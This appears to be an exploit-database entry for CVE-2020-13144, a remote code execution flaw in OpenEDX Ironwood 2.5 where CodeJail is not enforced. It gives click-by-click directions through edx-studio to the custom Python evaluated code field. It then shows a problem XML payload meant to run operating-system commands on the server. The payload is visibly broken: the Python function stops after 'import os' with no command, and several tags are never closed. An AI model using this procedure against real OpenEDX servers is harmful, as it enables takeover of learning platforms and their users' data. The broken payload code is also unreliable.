OpenEDX Ironwood 2.5 CVE-2020-13144 - Remote Code Execution

ID 0DAYDB:7673EE0281A214ED87D52BA25B8C65BA
Type 0daydb
Modified 2020-05-24T15:29:52


OpenEDX platform Ironwood version 2.5 suffers from a remote code execution vulnerability.

                                            # Exploit Title: OpenEDX platform Ironwood 2.5 - Remote Code Execution
# Google Dork: N/A
# Date: 2020-05-20
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage:
# Software Link:
# Version: Ironwood 2.5
# Tested on: Debian x64
# CVE : CVE-2020-13144

CVE ID: CVE-2020-13144

OpenEDX Platform Ironwood version 2.5 suffers from a RCE vulnerability when the use of CodeJail ( is not enforced

This is an authenticated vulnerability, so you need to register an account, go to /edx-studio

Then Create New course > New section > New subsection > New unit > Add new component > Problem button > Advanced tab > Custom Python evaluated code

Once here we just need to edit the problem and introduce a payload such as:


<script type="python">
def test_add(expect,ans):
    import os

<p>Problem text</p>
<customresponse cfn="test_add" expect="20">
        <textline size="10" correct_answer="11" label="Integer #1"/><br/>
        <textline size="10" correct_answer="9" label="Integer #2"/>

        <div class="detailed-solution">
          <p>Solution or Explanation Heading</p>
          <p>Solution or explanation text</p>

And click Submit, and you will execute commands in the machine